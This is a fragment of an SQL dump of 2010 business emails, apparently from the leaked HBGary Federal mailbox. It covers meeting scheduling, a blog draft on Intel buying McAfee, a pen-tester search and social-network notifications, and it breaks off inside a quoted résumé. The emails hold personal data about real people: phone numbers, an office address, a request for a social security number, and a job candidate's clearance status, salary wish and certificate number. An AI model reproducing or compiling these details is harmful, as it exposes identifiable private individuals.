shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>>>\r\n>>>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>>>\r\n>>>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>>>\r\n>>>>>>>> Sent from my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>>>\r\n>>>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Aaron\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>>>> John\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> John,\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Aaron\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>\r\n>\r\n',5366,'aaron_hbgary_com/5366.html'),(10648,'2010-08-20','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297008229.M328402P14101Q5503.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting - Finally','Perfect -- I\'ll see you at 0800.\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, August 19, 2010 11:26 PM\r\nTo: John Edwards\r\nSubject: Re: Meeting - Finally\r\n\r\nOk so planning to be at your office @ 8\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 4:16 PM, John Edwards  wrote:\r\n\r\n> Where do you live?  Is it convenient to come to our office in Chantilly?\r\n> That way you can see where we hide.\r\n> john\r\n> On Aug 19, 2010, at 4:06 PM, Aaron Barr wrote:\r\n>\r\n>> Sure where?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n>>\r\n>>> How about fist thing in the morning - 0800?\r\n>>>\r\n>>> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hey John,\r\n>>>>\r\n>>>> Do you have any time tomorrow?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>>>\r\n>>>>> I\'m good most days next week.\r\n>>>>> Let me know,\r\n>>>>> John\r\n>>>>>\r\n>>>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hey John,\r\n>>>>>>\r\n>>>>>> When would you like to get together?\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>>>\r\n>>>>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>>>\r\n>>>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>>>\r\n>>>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>>>\r\n>>>>>>>> Sent from my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>>>\r\n>>>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Aaron\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>>>> John\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> John,\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Aaron\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>\r\n>\r\n',5526,'aaron_hbgary_com/5526.html'),(10649,'2010-08-20','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297008229.M546509P14101Q5504.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting - Finally','5155 Parkstone Drive\r\nChantilly, VA 20151\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, August 19, 2010 4:54 PM\r\nTo: John Edwards\r\nSubject: Re: Meeting - Finally\r\n\r\nSure I can come\r\nOver.  I live in McLean.  See u at 8am.\r\n\r\nCan u send address?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 4:16 PM, John Edwards  wrote:\r\n\r\n> Where do you live?  Is it convenient to come to our office in Chantilly?\r\n> That way you can see where we hide.\r\n> john\r\n> On Aug 19, 2010, at 4:06 PM, Aaron Barr wrote:\r\n>\r\n>> Sure where?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n>>\r\n>>> How about fist thing in the morning - 0800?\r\n>>>\r\n>>> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hey John,\r\n>>>>\r\n>>>> Do you have any time tomorrow?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>>>\r\n>>>>> I\'m good most days next week.\r\n>>>>> Let me know,\r\n>>>>> John\r\n>>>>>\r\n>>>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hey John,\r\n>>>>>>\r\n>>>>>> When would you like to get together?\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>>>\r\n>>>>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>>>\r\n>>>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>>>\r\n>>>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>>>\r\n>>>>>>>> Sent from my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>>>\r\n>>>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Aaron\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>>>> John\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> John,\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Aaron\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>\r\n>\r\n',10738,'aaron_hbgary_com/10738.html'),(10650,'2010-08-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008229.M749613P14101Q5505.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','Re: Intel To Acquire McAfee, Moving Into Online Security','Thank you for your help Karen,\r\n \r\nI have posted a revised version based on your feedback,\r\n \r\nhttp://fasthorizon.blogspot.com/2010/08/intel-validates-end-node.html\r\n \r\nThanks so much!\r\n-Greg\r\nOn Thu, Aug 19, 2010 at 7:56 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nHi Greg, Thanks so much for pulling this together so quickly. I made some suggested edits below and tried to highlight the changes in red. Please let me know if you have any questions. Best, Karen \r\n\r\n\r\nOn Thu, Aug 19, 2010 at 4:40 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n \r\nI tried to write a quick blog post on it - its pretty rough don&#39;t rip me up too bad - I wanted to put out something - if you have any ideas on strengthing the backbone of this post it might be worth it ??  - otherwise I can punt I only spent about 30 minutes on it so far..\r\n\r\n \r\nsnip ---&gt;\r\n \r\n\r\n\r\nIntel Validates the End Node\r\nIn the security industry, there is an obsession with the perimeter, which is why this Intel-McAfee annoucement, at first glance, seems so surprising. McAfee represents visibility and control at the end node - the environment where the bad guys actually live.  Intel&#39;s investment into end-node security is significant because it represents a fundamental shift in security .  Adoption of mobile technology is faster than ever before and the chip-war cannot continue to be based solely on horsepower or power consumption - an integration between hardware and software can create a platform for the future mobile user.  To understand this acquisition, you have to think ahead.  Intel knows the future is in small, always-on access-to-the-cloud -- and they can deliver the horsepower required for immersive environments  such as High-Def, 3D that will become the norm. But future is not without risk.  To create a secure online experience for the user,  Intel understands that the security features in the chip need to be united with application layer surfaces.  While the benefits for Intel are clear, this deal also might be the best thing that ever happened to McAfee.  They have the domain knowledge about hooking into software flows and scanning for patterns, but the end-node for McAfee is the PC -- not the future device.  Intel&#39;s business has always been about massive scale and this might push McAfee into the future.  This event may signal an emergence period of security integration into the end node.\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\nOn Thu, Aug 19, 2010 at 7:34 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nI thought this NY Times piecee on the news was interesting....\r\n \r\nhttp://www.nytimes.com/2010/08/20/technology/20chip.html?_r=1&amp;src=twt&amp;twt=nytimestech\r\n\r\n',14836,'aaron_hbgary_com/14836.html'),(10651,'2010-08-20','\"Shane Shook\" <sdshook@yahoo.com>','/aaron@hbgary.com/new/1297008229.M972990P14101Q5506.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: got a set to talk','Hey Aaron, I\'m in Malaysia on an IR (2d week of 3)\r\n&nbsp;\r\nI don\'t know anyone available right now unfortunately - sorry\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: shane@shook.netSent: Thu, August 19, 2010 8:23:54 AMSubject: got a set to talkI am looking for a Oracle web app pen testing rock star...know of one..I need him for a gig @ LANL in New Mexico next week. :)Aaron',3661,'aaron_hbgary_com/3661.html'),(10652,'2010-08-20','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008230.M193033P14101Q5507.eml','federal@hbgary.com','Oscar E. Ruiz B is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  Oscar E. Ruiz B (@oeruiz) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      Oscar E. Ruiz B\r\n      @oeruiz\r\n      \r\n        Bogotá D.C.\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    Bio Consultor en Seguridad de la Información: Forense Digital, Respuesta a Incidentes, Hacking, Malware, CSIRT, C4iSR, OPSIC, OPINF, IAM, IEM, EnCE, ACE, GSEC, GCFA\r\n  \r\n\r\n\r\n  \r\n    \r\n        4\r\n        17\r\n        4\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  You do not follow Oscar E. Ruiz B.\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about Oscar E. Ruiz B on @oeruiz\'s profile page.\r\n  \r\n    &bull;\r\n    Send Oscar E. Ruiz B an @ reply.\r\n  \r\n    &bull;\r\n    Send Oscar E. Ruiz B a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe Oscar E. Ruiz B is engaging in abusive behavior on Twitter, you may report Oscar E. Ruiz B for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',15366,'aaron_hbgary_com/15366.html'),(10653,'2010-08-20','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008230.M416497P14101Q5508.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Intel To Acquire McAfee, Moving Into Online Security','Great Greg. I posted on Twitter as well as my personal Facebook account. I have a lot of security folks there. Best, Karen\r\nOn Thu, Aug 19, 2010 at 8:46 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nThank you for your help Karen,\r\n \r\nI have posted a revised version based on your feedback,\r\n \r\nhttp://fasthorizon.blogspot.com/2010/08/intel-validates-end-node.html\r\n \r\nThanks so much!\r\n-Greg\r\n\r\n\r\n\r\nOn Thu, Aug 19, 2010 at 7:56 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nHi Greg, Thanks so much for pulling this together so quickly. I made some suggested edits below and tried to highlight the changes in red. Please let me know if you have any questions. Best, Karen \r\n\r\n\r\nOn Thu, Aug 19, 2010 at 4:40 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n \r\nI tried to write a quick blog post on it - its pretty rough don&#39;t rip me up too bad - I wanted to put out something - if you have any ideas on strengthing the backbone of this post it might be worth it ??  - otherwise I can punt I only spent about 30 minutes on it so far..\r\n\r\n \r\nsnip ---&gt;\r\n \r\n\r\n\r\nIntel Validates the End Node\r\nIn the security industry, there is an obsession with the perimeter, which is why this Intel-McAfee annoucement, at first glance, seems so surprising. McAfee represents visibility and control at the end node - the environment where the bad guys actually live.  Intel&#39;s investment into end-node security is significant because it represents a fundamental shift in security .  Adoption of mobile technology is faster than ever before and the chip-war cannot continue to be based solely on horsepower or power consumption - an integration between hardware and software can create a platform for the future mobile user.  To understand this acquisition, you have to think ahead.  Intel knows the future is in small, always-on access-to-the-cloud -- and they can deliver the horsepower required for immersive environments  such as High-Def, 3D that will become the norm. But future is not without risk.  To create a secure online experience for the user,  Intel understands that the security features in the chip need to be united with application layer surfaces.  While the benefits for Intel are clear, this deal also might be the best thing that ever happened to McAfee.  They have the domain knowledge about hooking into software flows and scanning for patterns, but the end-node for McAfee is the PC -- not the future device.  Intel&#39;s business has always been about massive scale and this might push McAfee into the future.  This event may signal an emergence period of security integration into the end node.\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\nOn Thu, Aug 19, 2010 at 7:34 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nI thought this NY Times piecee on the news was interesting....\r\n \r\nhttp://www.nytimes.com/2010/08/20/technology/20chip.html?_r=1&amp;src=twt&amp;twt=nytimestech\r\n\r\n',15397,'aaron_hbgary_com/15397.html'),(10654,'2010-08-20','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008230.M661484P14101Q5509.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Jeff has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Jeff are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Jeff Puchalski \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Security and Privacy Researcher\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Jeff\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Research Industry \r\n                        \r\n                        \r\n                          jpp13@cornell.edu\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Jeff\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     PROTEUS Technologies\r\n                    \r\n                      Jeff follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     MITRE\r\n                    \r\n                      Jeff worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     JPMorgan Chase\r\n                    \r\n                      Jeff knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Google\r\n                    \r\n                      Jeff knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12145,'aaron_hbgary_com/12145.html'),(10655,'2010-08-20','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008230.M903245P14101Q5510.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: ESOC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp; The good news with the FBI taking so long to\r\naward the contract is it gave us plenty of time to fill our pending positions.&nbsp;\r\nIf something does open up that we or our current team is not able to fill we\r\nwill let you know.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nEric\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nEric J. Eifert\r\n\r\nVice President, Cyber Defense Solutions Business Unit\r\n\r\nManTech Mission, Cyber and Technology Solutions\r\n\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 19, 2010 10:56 AM\r\nTo: Eifert, Eric J.\r\nSubject: ESOC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Eric,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am aggresively looking for people for multiple potential\r\npositions. &nbsp;One we are building a proposal for is the TSA ITSSS. &nbsp;I\r\nam using a headhunter and he seems to be pretty good. &nbsp;I know you guys are\r\njust starting the ESOC but its a sure gig vice TSA as a potential, so if there\r\nis a potential for me to fill a few slots do you mind if I send you a few\r\nresumes and get your take?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhere is one.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1)\r\n\r\n\r\n\r\n\r\n\r\ncandidate 1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLives in MD\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDesires $120K Minimum\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTop Secret SCI Clearance until 2013\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNeed more challenging work than Navy provides. &nbsp;Focus\r\ncareer path in a large company with room for growth.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems\r\nSecurity, MAGNA CUM LAUDE; Certified Information Systems Security Professional\r\n(CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified\r\nSecurity Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical\r\nexperience &#8211; enterprise wide IC IA policy development, CNA/CND/CNE, Technical\r\nAssurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies,\r\npenetration testing,&nbsp;vulnerability assessment, intrusion\r\ndetection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and\r\nExposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye\r\nRetina Network Security Scanner, IBM Proventia Network Enterprise Scanner,\r\ndigital network intelligence &amp; analysis, exploitation testing.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented\r\nInformation clearance and Counter-Intelligence Polygraph, valid from 2000\r\nthrough 2013.\r\n\r\n&nbsp;&nbsp;\r\n&nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since\r\nJanuary 2006, Member of Association of Information Technology\r\nProfessionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of\r\nStandards of Conduct and Code of Ethics Committee, Member of National\r\nUniversity Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA\r\nSecretary for 109 unit community.\r\n\r\n&nbsp;&nbsp;Published\r\ncontributing author, published IEEE GOLD newsletter article, webinar speaker,\r\nand public conference speaker.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEMPLOYMENT\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNavy Information\r\nOperations Command Suitland&nbsp;(research &amp; development agency for the US\r\nNavy) Dec 07-Present\r\n\r\n\r\n\r\n\r\n\r\nComputer Network Operations (CNO) Research &amp;\r\nDevelopment Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer,\r\nStrings, Web Application Attack and Audit Framework (w3af),&nbsp;Common\r\nVulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.\r\n\r\nManage 10 person technical\r\nteam multi-million dollar projects. Experience in program management, request\r\nfor proposals, product deliver, software application user acceptance\r\ntesting/evaluation, man-train-equip personnel strategy, technical assurance\r\nsoftware evaluation level of assurance 